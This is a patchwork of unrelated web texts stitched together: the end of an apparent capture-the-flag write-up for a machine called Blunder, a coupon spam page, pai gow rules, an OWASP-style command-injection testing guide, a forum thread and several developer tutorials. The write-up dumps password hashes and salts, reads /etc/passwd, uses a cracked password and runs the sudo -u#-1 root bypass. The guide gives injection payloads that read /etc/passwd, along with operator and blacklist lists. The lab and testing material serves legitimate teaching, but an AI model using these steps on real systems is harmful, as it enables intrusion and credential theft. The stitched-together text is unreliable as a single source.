<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Admin",
"firstName": "Administrator",
"lastName": "",
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"salt": "5dde2887e7aca",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""
},
"fergus": {
"firstName": "",
"lastName": "",
"nickname": "",
"description": "",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
"salt": "jqxpjfnv",
"email": "",
"registered": "2019-11-27 13:26:44",
"tokenRemember": "",
"tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"codepen": "",
"instagram": "",
"github": "",
"gitlab": "",
"linkedin": "",
"mastodon": ""
}
}
We already knew fergus’ password so let’s collect the admin one
Password hash in bludit-3.10.0a/bl-content/databases
Just outside of bludit-3.9.2, there is another bludit version 3.10.0a. There is also another password hash in the same file.
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
It’s for Hugo. Hugo is part of the system user if we check /home
and /etc/passwd
:
www-data@blunder:/$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Apr 27 14:31 .
drwxr-xr-x 21 root root 4096 Apr 27 14:09 ..
drwxr-xr-x 16 hugo hugo 4096 May 26 09:29 hugo
drwxr-xr-x 16 shaun shaun 4096 Apr 28 12:13 shaun
www-data@blunder:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
geoclue:x:121:126::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:122:127:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:123:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:124:129:Gnome Display Manager:/var/lib/gdm3:/bin/false
shaun:x:1000:1000:blunder,,,:/home/shaun:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hugo:x:1001:1001:Hugo,1337,07,08,09:/home/hugo:/bin/bash
...
If we are able to crack it, we can switch to user Hugo
Cracking Found Hashes with crackstation.net
We collected our hashes and stored in hashes.txt
:
$ cat hashes.txt
admin:bfcc887f62e36ea019e3295aafb8a3885966e265
hugo:faca404fd5c0a31cf1897b823c695c85cffeb98d
Let’s crack it. Let’s go to crackstation.net and let them crack our hashes there.
It was able to crack Hugo’s password but not the admin one. Let’s try to switch user to Hugo.
Escalating from www-data to hugo
Let’s switch to Hugo
www-data@blunder:/$ su hugo
su hugo
Password: Password120
whoami
hugo
python3 -c "import pty; pty.spawn('/bin/bash')"
hugo@blunder:/$
It worked! At this point, we can now get the user flag.
hugo@blunder:/$ cd ~
cd ~
hugo@blunder:~$ ls -la
ls -la
total 80
drwxr-xr-x 16 hugo hugo 4096 May 26 09:29 .
drwxr-xr-x 4 root root 4096 Apr 27 14:31 ..
lrwxrwxrwx 1 root root 9 Apr 28 12:13 .bash_history -> /dev/null
-rw-r--r-- 1 hugo hugo 220 Nov 28 2019 .bash_logout
-rw-r--r-- 1 hugo hugo 3771 Nov 28 2019 .bashrc
drwx------ 13 hugo hugo 4096 Apr 27 14:29 .cache
drwx------ 11 hugo hugo 4096 Nov 28 2019 .config
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Desktop
...
drwx------ 2 hugo hugo 4096 Apr 27 14:30 .ssh
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Templates
-r-------- 1 hugo hugo 33 Oct 17 09:31 user.txt
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Videos
Privesc Enumeration as hugo
List Sudo privileges
We can list our sudo privileges:
hugo@blunder:~$ sudo -l
sudo -l
Password: Password120
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
It looks like we can sudo commands but just not root. However, we can bypass this.
Sudo Vulnerability
We can bypass the sudo config and it is described here
Escalating from hugo to root
Sudo Exploit
To exploit, run the following command:
hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@blunder:/home/hugo#
We are now root! At this point, we can now retrieve the root flag
root@blunder:/# cd /root
cd /root
root@blunder:/root# ls -la
ls -la
total 36
drwx------ 6 root root 4096 Apr 28 12:13 .
drwxr-xr-x 21 root root 4096 Apr 27 14:09 ..
lrwxrwxrwx 1 root root 9 Apr 28 12:13 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Aug 27 2019 .bashrc
drwx------ 6 root root 4096 Nov 27 2019 .cache
drwx------ 8 root root 4096 Nov 27 2019 .config
drwx------ 3 root root 4096 Nov 27 2019 .dbus
drwxr-xr-x 3 root root 4096 Nov 27 2019 .local
-rw-r--r-- 1 root root 148 Aug 27 2019 .profile
-r-------- 1 root root 33 Oct 17 09:31 root.txt
root@blunder:/root#
Thank you for reading!
Sources:
- https://www.exploit-db.com/exploits/47502
- https://crackstation.net/
- https://rastating.github.io/bludit-brute-force-mitigation-bypass/
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://www.exploit-db.com/exploits/48701


Central Automation: Switching
Help
Settings
Switch Stacks
id
Name
Commander
Members
Template Switches
Name
Status
IP Address
Model
Serial Number
Site
Group
MAC Address
Variables
Error Log
Commander Variables
Stack ID
Stack Name
Stack Commander
Commander Variables
Variables Verification
Switch Serial
Variables Missing from Switch
Extra Variables in Switch


--- layout: post permalink: maxiviewmirrors.html Tags: Array NameOfCoupon: Maxi View Mirrors Cash Back Summary: See our Maxi View Mirrors Coupon Code, Maxi View Mirrors Rebate, Maxi View Mirrors Promo Code, Maxi View Mirrors Discount, Maxi View Mirrors Coupon Cash Back Rebate here. MetaKeywords: Maxi View Mirrors Coupon Code, Maxi View Mirrors Rebate, Maxi View Mirrors Promo Code, Maxi View Mirrors Cash Back Rebate, Maxi View Mirrors Discount, Maxi View Mirrors Coupon Image: images/15183.jpg LinkURL: http://www.shareasale.com/r.cfm?b=104390&u=412002&m=15183 affiliate_url_link: http://www.icouponblog.com/jane.php?id=2788 thesis_readmore: See the Maxi View Mirrors Coupon thesis_thumb: http://www.icouponblog.com/tn.php?merchantURL=maxiviewmirror.com Title: Save $2 - Maxi View Mirrors Coupon Code for maxiviewmirror.com. Maxi View Mirrors Rebate & Discount thesis_description: Our Maxi View Mirrors Discount Coupon Code for maxiviewmirror.com. We have the best Maxi View Mirrors Rebate anywhere. thesis_keywords: Maxi View Mirrors, Maxi View Mirrors Coupon Code, Maxi View Mirrors Discount, Maxi View Mirrors Rebate product_name: Maxi View Mirrors hop_url: http://www.icouponblog.com/hop.php?id=2788 ---
Be a safe driver. Take all precautions. Hundreds of accidents are caused everyday from failure to spot a vehicle while changing lanes. Maxi View Mirrors will assure that you never have an accident. It is the best blind spot mirror in the world. If you have a bad back and find it hard to turn, or have a young teenager who just got a license and is not very experienced, you will love Maxi View Mirrors. It is the perfect blind spot mirror. It will save you from accidents. While changing lanes, Maxi View Mirrors will help you spot that vehicle which does not appear in your rear view or side mirrors. Visit maxiviewmirror.com and see for yourself what a great product it is. Use our discount coupons to save money.
maxiviewmirror.com is the place to buy the best blind spot mirror available. Check it out. You will love the product. Maxi View has a 360 degree fully adjustable ball and swivel for full focus capability. It has very realistic view and is three times larger than any other stick on mirror. Protect yourself and your loved ones, buy the Maxi View Mirrors. They are affordable, easy to use and it will protect you against blind spot problems while changing lanes. It is a great mirror which is shatter proof and fog proof as well.
Maxi View Mirrors are the best blind spot mirror your money can ever buy. It is will keep you or a loved one safe from accidents that occur while changing lanes because of a blind spot. Check it out online and take the tension out of changing lanes.


Shop Camera
Meet-Up
Octpi Print
RobotGarden.org
SBUs
Cobot Calendar
Marshals –
Calendar,
Checklist, &
Training
Shop Camera
Meet-Up
Octpi Print
RobotGarden.org
SBUs
Cobot Calendar
Marshals –
Calendar,
Checklist, &
Training


---
layout:post
categories:toeza
tags:toeza
title:How to Play Pai Gow
date:2016-12-07 14:32:45 +0800
---
Edit Article
How to Play Pai Gow
Two Methods:Starting PlayBuilding Pai Gow HandsCommunity Q&A
Best known in America for the poker game it lent its name to, the Chinese game of pai gow is a gambling game that uses a special set of dominoes. Meaning "make nine," pai gow bears a minor similarity to baccarat, but has a more complicated play structure and terminology that may confuse new players initially. The game has a number of variations, but one version of how to play pai gow is given below.
Steps
Method 1Starting Play
1
Make 1 of the players the dealer. When pai gow is played in a casino, this person works for the house.
2
Give each player the opportunity to serve as banker. Players are given this opportunity going around the table from the dealer's right. When playing pai gow in a casino, the players usually decline in favor of the house because the banker has to be able to cover all bets made. Sometimes, a player may share the duties evenly with the dealer.
3
Shuffle the tiles.
4
Arrange the pai gow dominoes into stacks. There should be 8 domino stacks, with each stack having 4 tiles. The stacks are called woodpiles.
5
Place bets on the outcome of the game.
6
Have the dealer roll dice. The dealer puts 4 dice in a dice cup, rolls them, and declares an end to betting.
7
Give players their choice of woodpiles. The player who gets first choice is determined by starting with the dealer and counting to his or her right up to the number rolled on the 3 dice of the same color. Each player thereafter chooses 1 of the remaining woodpiles.
Method 2Building Pai Gow Hands
1
Organize your tiles into a high and a low hand. The goal is to have both pai gow hands beat the dealer's hands. If both of your hands beat the dealer's hands, you win the bet. If neither of your hands beat the dealer's hands, you lose your bet. If only 1 of your hands beat the dealer's hands, you get back what you bet, but you don't win any money from the house.
The dealer uses the fourth die rolled with the other 3 to determine how to build his or her hands according to a set of rules known as Star City's Pai Gow House Way. Players may also build their hands by this set of rules or as they choose according to the rules in the remaining steps of this section.
2
Look for the Gee Jun tiles. These are the 1-2 and 2-4 tiles, which may be played together or with other tiles as wild cards to make a pair. If you play them together, they form the highest possible hand, known as the Supreme Pair. If you play either tile with a different tile as a wild card, the wild tile earns you 3 points.
3
Find matching pairs among the tiles. Pai gow does not rank tiles in numeric order, but in a special order according to the significance of the numbers. The ranking is given below, with the name given to each matching pair. There are 2 of each tile in the Chinese domino set.
Matching 12s (called "Teens") - "Heaven"
Matching 2s (called "Deys" or "Days") - "Earth"
Matching 8s (called "Yuns") - "Man"
Matching 10s (in 5-5 combination, called "Mooys") - "Flower"
Matching 6s (in 3-3 combinations, called "Chongs") - "Long"
Matching 4s (in 2-2 combination, called "Bons") - "Board"
Matching 11s (called "Foos") - "Hatchet"
Matching 10s (in 4-6 combination, called "Pings") - "Partition"
Matching 7s (in 1-6 combination, called "Tits") - "Long Leg 7"
Matching 6s (in 1-5 combination, called "Looks") - "Big Head 6"
4
Build unmatched pairs after making all the matched pairs you can. Unmatched pairs in pai gow are Chinese dominoes whose pips add up to the same value but are divided differently on the 2 halves of the tile. (There is 1 of each tile in the pai gow set.) Listed in rank from highest to lowest, they are:
Mixed 9s (3-6 and 4-5 combinations, each tile called "Chop Gow")
Mixed 8s (2-6 and 3-5 combinations, each tile called "Chop Bot")
Mixed 7s (2-5 and 3-4 combinations, each tile called "Chop Chit")
Mixed 5s (2-3 and 1-4 combinations, each tile called "Chop Ng")
5
Make a "wong," "gong," or "high nine" combination if you can't make a pair. Wongs, gongs, and high nines are made with either the Teen (12) or Dey (2) tiles. Either of these pai gow tiles can be played with 9s, 8s, or 7s in the ranking order given below. (Note that a Teen or Dey tile can't be used in both a pair and one of these special combinations.)
Wong (with 9s) - "King of Heaven" (12), "King of Earth" (2)
Gong (with 8s) - "Treasure of Heaven" (12), "Treasure of Earth" (2)
High nine (with 7s) - Either a 12 or 2
6
Count the total pips in both your high and your hand if you can't make any of the previously described plays. You're trying to make a score of 9 or come as close to it as possible. As in baccarat, if you score more than 9, the tens digit is dropped; a 2-2 and a 3-3 tile played together score 0.
7
Evaluate the hands against the dealer's hand. Score the hands for special combinations and points as described above. Ties are broken in the following ways:
If both the dealer and player have hands with the same numeric value, the value of the highest-ranking domino determines which hand wins. If the values of both dominoes in the hands are equal, the player has a "copy" hand and loses.
If both the dealer and the player's hands score 0, the dealer wins even if the player had a higher-ranking domino.


This structure contains the Password details. User needs to provide the password information in this structure inorder to use the card's security feature.
Definition at line 246 of file SDMMC002.h.
#include <SDMMC002.h>
Data Fields | |
| uint8_t | OldPassword [SDMMC002_MAX_PASSWD_LEN] |
| uint8_t | NewPassword [SDMMC002_MAX_PASSWD_LEN] |
| uint8_t | OldPwdLength |
| uint8_t | NewPwdLength |
New Password. User needs to set this field at the time of replacing the old password with the new one. Sets to 0 if not replacing the password.
Definition at line 258 of file SDMMC002.h.
New Password Length. Set to 0 if not setting the password.
Definition at line 266 of file SDMMC002.h.
Old Password. User needs to set this field if setting password for the first time or if locking/unlocking the card.
Definition at line 253 of file SDMMC002.h.
Old Password Lenth.
Definition at line 262 of file SDMMC002.h.


VOC calculator
Calculator
Percent Contribution for Passenger Cars:
Percent Contribution for Single Unit Trucks:
Percent Contribution for Combination Trucks:
Initial Speed for all categories
Reduce Speed for all categories
Submit
Calculation Results
Added VOC total affected is $
Added VOC passenger vehicles is $
Added VOC SU truck is $
Added VOC Combination truck is $
Added VOC Total per day is $
Added VOC 60 day span is $


I'm looking for a build that is good for PvP and dual wields.I don't mind if it hides or not and if it's a hiding build with SD you'll have to tell me a good straight to 40 PvP server where you can CS and I can use that build.
Kind Regards Willwoms _________________ Willwoms is the most super, amazing, fabulous, marvellous, exciting, dangerous and lethal dex sneak in Life vs Death.Well will be eventually. *slits your throat*.
I'd guess any build with Dev Crit and kukris would be the way to go. But I can't imagine dual wielding is optimal for PvP. You give up too much AC.
And what's 'CS'? _________________ It's rogue, dammit, ROGUE!!!
Corner Sneaker since most PvP servers removed HIPS.
Quote: Posted 09/19/07 18:57 (GMT) -- Bromium
Corner Sneaker since most PvP servers removed HIPS.
Strange choice when you can script a cool down period for HiPS. Unnecessary nerfing, if you ask me. _________________ Looking for a realm of adventure? Check out World of Greyhawk, you won't regret it.
Oh I forgot dev crit. is disabled on my server but if you find me one where dev crit. is enabled and/or you can CS(except atomic chicken) where i not completly hack slash boom(translate das it's unfir and uber)i'd b happy.
Kind Regards Willwoms _________________ Willwoms is the most super, amazing, fabulous, marvellous, exciting, dangerous and lethal dex sneak in Life vs Death.Well will be eventually. *slits your throat*.
I'd suggest Dungeon Eternal X for such a PvP choice.
 - Tourneys frequently, where teams of lvl40s are chosen and fight together to win prizes for your characters - Craft your own armor for free(can put +12 str on your armor, but equipment has a limit as to what can be enchanted upon it) - Additional subraces to improve your stats and personalize your builds - PvP... PvM... this server has it all. HiPS and Dev Crit are both untouched (Time Stop is also available in this server, but limited to a range rather than freezing everything ) - Alignment is not an issue in leveling.
Direct connect to <IP_ADDRESS>:5121 -
Thank you so much _________________ Willwoms is the most super, amazing, fabulous, marvellous, exciting, dangerous and lethal dex sneak in Life vs Death.Well will be eventually. *slits your throat*.


Brunch has a plugin ecosystem to achieve interoperability with various stuff simply via plugin API
For example, if you use JavaScript files in your project, you’ll need a plugin that adds JS support. Same with styles, templates, minifiers, linters and much more.
To install new plugin, simply execute npm install --save plugin-name
. This will install its Node.js dependencies and save them to package.json
.
To remove it, edit package.json
’s dependencies
hash.
See npm docs
for more docs on packages.
Search for brunch on npm for even more plug-ins.
If you want to add your project here, simply edit this file and submit a pull request.


This is the day 3 update of my one week game project.
Today started with work on the level select menu. This might seem very simple, but in order to correctly allow selection of the locked and unlocked levels I also had to write the saving and loading system to keep track of player progress. The level selection menu will automatically display all the available levels and each time a level is completed the next one is unlocked. As part of the level tracking I've now also implemented the level completion code.
Once the level selection and tracking was complete I moved on to some improvements to the block tiling system. Now the tile loader will detect when a large block is composed of multiple small blocks and use appropriate tiles to make the connections between blocks smooth. It might be a subtle change, but once I have some real artwork in place this will make the blocks more defined and easier to see. You might also notice that I've implemented a visual indicator for the level goal.
I've discovered a few bugs that have arisen in the movement behaviour, for example, it's possible to catch the player on the side of a combined block and drag it along sideways which would defeat the point of many of the puzzle possibilities. Tomorrow I will start by resolving some of these handling issues and then perhaps it's time to start designing some real levels.


The contents of this document are a work in progress
The chapter gets you to jump start into Plexus Component development. While a scan through of 'Concepts' would be helpful, it is not really required.
Where ever deemed neccessary cross-references are provided to make it easy for a new developer to reference the required material.
The tutorial assumes you have Maven 2.0.x+ setup and have an internet connection and are able to download required Maven artifacts from online repositories.
For the purpose of this tutorial we will develop a Plexus Website Monitor component.
Lets get started!
Plexus has some archetypes available that can make initial project setups a breeze. We use one such archetype for our Plexus component here. From the command prompt, change directory to the location where you wish to set up the new Plexus Component project. Run the following command from the command line to setup an initial project structure
mvn archetype:create -DarchetypeGroupId=org.codehaus.plexus -DarchetypeArtifactId=plexus-archetype-component-simple -DarchetypeVersion=1.0-alpha-1-SNAPSHOT -DgroupId=org.codehaus.plexus -DartifactId=plexus-website-monitor-component -DpackageName=org.codehaus.plexus.tutorial -Dpackaging=jar -DremoteRepositories=http://snapshots.repository.codehaus.org/
Cool! At this point you've created a basic project structure that should give you a jump-start into development.
More info on archetype creation and usage can be found here on the Maven website.
The following table explains the options that we used above.
| Commandline Option | Description | Required |
| -DarchetypeGroupId | "groupId" for the archetype we want to use | Yes |
| -DarchetypeArtifact | "artifactId" for the archetype we want to use | Yes |
| -DarchetypeVersion | "version" for the archetype we want to use | Yes |
| -DgroupId | "groupId" for the project to be generated | Yes |
| -DartifactId | "artifactId" for the project to be generated | Yes |
| -DpackageName | Base package name to be use for any Java sources being copied over | No |
| -Dpackaging | Packaging to be used for the created project | No |
| -DremoteRepositories | Comma-separated list of repositories to lookup to retrieve archetype | No |
E:\workspaces\plexus-docs\plexus-website-monitor-component>mvn eclipse:eclipse
Eclipse project files should get generated succesfully at this point. If there were any unsatisfied dependencies (due to 2-1-3), update version for dependencies in pom.xml to an available release version.
Now, let's quickly recap the resources we see in our Eclipse project.
Eclipse Package Explorer View of our import Plexus Component project.
That concludes the preparation for our component project, we are all set to get our hands dirty with our first Plexus component.
If you have a developer's itch and want to see if there is something we can do with the minimal project setup by the archetype for us - well, good news! Navigate your way through to the "HelloWorldTest" class (selected in the image above). Right click on it and choose "Run As > JUnit Test" and see for yourself. eeeks.....our unit test failed!! But fear not, for we come back to Component testing in a later chapter, so stay put!
The project resources that we setup so far can be downloaded from this link here:


Aircraft Parts Module¶
This module contains a library of classes devoted to modeling aircraft parts.
The main purpose of this library is to model various types of aircraft parts. Currently only wing objects are suported, however in the future it is possible that fuselages as well as other parts will be added.
| SUMARRY OF THE CLASSES: | |
|---|---|
- Wing: Creates a wing aircraft. This wing is capable of modeling the
structures of the aircraft wing as well as the aerodynamics. The structures are modeled with a combination of beam models currently, however it is likely that Ritz method laminates will also incorporated for buckling prediction purposes. The aerodynamics are currently modeled with potential flow doublet panels.
Wing¶
-
class
AeroComBAT.AircraftParts.
Wing
(PID, p1, p2, croot, ctip, x0_spar, xf_spar, Y_rib, n_ply, m_ply, mat_lib, **kwargs)[source]¶ -
__init__
(PID, p1, p2, croot, ctip, x0_spar, xf_spar, Y_rib, n_ply, m_ply, mat_lib, **kwargs)[source]¶ Creates a wing object.
This object represents a wing and contains both structural and aerodynamic models.
Args: PID (int): The integer ID linked to this part.
p1 (1x3 np.array[float]): The initial x,y,z coordinates of the wing.
p2 (1x3 np.array[float]: The final x,y,z coordinates of the wing.
croot (float): The root chord length.
ctip (float): The tip chord length.
- x0_spar (float): The non-dimensional starting location of the cross
section.
- xf_spar (float): The non-dimensional ending location of the cross
section.
- Y_rib (1xN Array[float]): The non-dimensional rib locations within
the wing. This dimension is primarily used to create wing-sections which primarily define the buckling span’s for laminate objects.
- n_ply (1xM Array[int]): An array of integers specifying the number
plies to be used in the model. Each integer refers to the number of plies to be used for at a given orientation.
- m_ply (1xM Array[int]): An array of integers specifying the
material ID to be used for the corresponding number of plies in n_ply at a given orientation.
- th_ply (1xM Array[int]): An array of floats specifying the
degree orientations of the plies used by the lamiantes in the model.
- mat_lib (obj): A material library containing all of the material
objets to be used in the model.
- name (str): The name of the airfoil section to be used for cross
section generation.
wing_SNID (int): The first node ID associated with the wing.
wing_SEID (int): The first beam element ID associated with the wing.
wing_SSBID (int): The first superbeam ID associated with the wing.
SXID (int): The starting cross-section ID used by the wing.
- noe (float): The number of beam elements to be used in the wing per
unit length.
- n_orients (int): The number of fiber orientations to be used in
each laminate.
- n_lams (int): The number of laminates required to mesh the desired
cross-section.
- meshSize (float): The maximum aspect ratio a 2D element may have in
the cross-section.
ref_ax (str): The reference axis to be loaded in the wing.
- chordVec (1x3 np.array[float]): This numpy array is used to orient
the cross-section in 3D space. It corresponds to the local unit x- vector in the cross-section, expressed in the global frame.
- typeXSect (str): The type of cross-section to be used by the wing
structure. Currently the suported typed are ‘boxbeam’, ‘laminate’, and ‘rectBoxBeam’. See the meshing class in the structures module for more details.
Returns: - None
-
addLiftingSurface
(SID, x1, x2, x3, x4, nspan, nchord)[source]¶ Adds a potential flow lifting surface to the model.
This method adds a potential flow panel aerodynamic model to the wing part. The x1,x2,x3, and x4 points correspond to the root leading edge, root trailing edge, tip trailing edge, and tip leading edge of the wing respectively. Currently the only suported types of panels are doublet- lattice panels to be used for unsteady aerodynamic models.
Args: - SID (int): The lifting surface integer identifier corresponding to
the lifting surface.
- x1 (1x3 numpy array): The point in 3D space corresponding to the
root leading edge point of the lifting surface.
- x2 (1x3 numpy array): The point in 3D space corresponding to the
root trailing edge point of the lifting surface.
- x3 (1x3 numpy array): The point in 3D space corresponding to the
tip trailing edge point of the lifting surface.
- x4 (1x3 numpy array): The point in 3D space corresponding to the
tip leading edge point of the lifting surface.
- nspan (int): The number of boxes to be used in the spanwise
direction.
- nchord (int): The number of boxes to be used in the chordwise
direction.
Returns: - None
Note
Mutliple surfaces could be added to the wing part.
Warning
In order to use the doublet lattice method, the chord lines of the lifting surface must run in the x-direction, and there can be no geometric angles of attack present. The geometry of a general wing can be seen in the figure below:
-
plotRigidWing
(**kwargs)[source]¶ Plots the rigid wing.
This method plots the rigid model of the wing. This includes the reference axis of the beams, the cross-sections of the beams, and the lifting surfaces that make up the wing. This is an excellent check to perform before adding the part to a FEM model.
Args: - figName (str): The name of the MayaVi figure. ‘Rigid Wing’ by
default.
- numXSects (int): The number of cross-sections that each wing
section will display. By default it is 2.
- color (1x3 tuple(int)): This is a length 3 tuple to be used as the
color of the beam reference axes. Black by default.
Returns: - None
-


Summary
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.
How to Test
When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.
Example URL before alteration:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Example URL modified:
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
This will execute the command “/bin/ls”.
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon
Example:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Example
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://<IP_ADDRESS>/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://<IP_ADDRESS>/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf+|+Dir c:\
If the application doesn't validate the request, we can obtain the following result:
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
In this case, we have successfully performed an OS injection attack.
Special Characters for Comand Injection
The following special character can be used for command injection such as | ; & $ > < ` \ !
- cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.
- cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
- cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
- cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
- $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
- 'cmd' : It's used to execute specific command. For example, 'whoami'
- >(cmd): <(ls)
- <(cmd): >(ls)
Code Review Dangerous API
Be aware of the uses of the following API as it may introduce the command injection risks.
Java
- Runtime.exec()
- getParameter
- getRuntime.exec()
- ProcessBuilder.start()
- setAttribute putValue getValue
- java.net.Socket java.io.fileInputStream java.io.FileReader
C/C++
- system
- exec
- ShellExecute
- execlp
Python
- exec
- eval
- os.system
- os.popen
- subprocess.popen
- subprocess.call
PHP
- system
- shell_exec
- exec
- proc_open
- eval
- passthru
- proc_open
- expect_open
- ssh2_exec
- popen
Perl
- CGI.pm
- referer
- cookie
- ReadParse
ASP.NET
- HttpRequest.Params
- HttpRequest.Url
- HttpRequest.Item
Remediation
Sanitization
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.
Genereal blacklist to be included for commannd injection can be | ; & $ > < ' \ ! >> #
Escape or filter special characters for windows, ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
Escape or filter special characters for Linux, { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `
Permissions
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view
Tools
References


Some people say we do
awesome
stuff...
sign up for our newsletter and see for yourself
Email address
Password
Sign Up


--- layout: post title: "Importing content with the feeds module" permalink: /article/importing-content-feeds-module/ permalink-disqus: /article/importing-content-feeds-module author: "Craig Pearson" categories: - tutorial tags: - feeds - drupalplanet - rss - atom - syndication - drupal --- Submitted by thepearson on Sun, 10/07/2012 - 11:37
For the Pixelite website, I want to add a block that displays content from external sources with content that could be related to the article the user is currently reading.
The first step in this process is to aggregate some content from RSS or Atom feeds. To achieve this we'll use a contrib module called feeds.
Lets use Drush to install the feeds module and turn it on.
thepearson@localhost:~/git/pixelite.co.nz$ drush dl feeds
and turn it on
thepearson@localhost:~/git/pixelite.co.nz$ drush en feeds feeds_ui feeds_import
This will also download, install and enable the Job Scheduler module which, at the time of this article is required for feeds.
Lets also install an add-on module for feeds. The feeds image grabber (FIG) module will allow us to pull in images from the RSS/Atom feed items, so we can have nicer looking feed nodes.
thepearson@localhost:~/git/pixelite.co.nz$ drush dl feeds_imagegrabber
and now enable the FIG module.
thepearson@localhost:~/git/pixelite.co.nz$ drush en feeds_imagegrabber
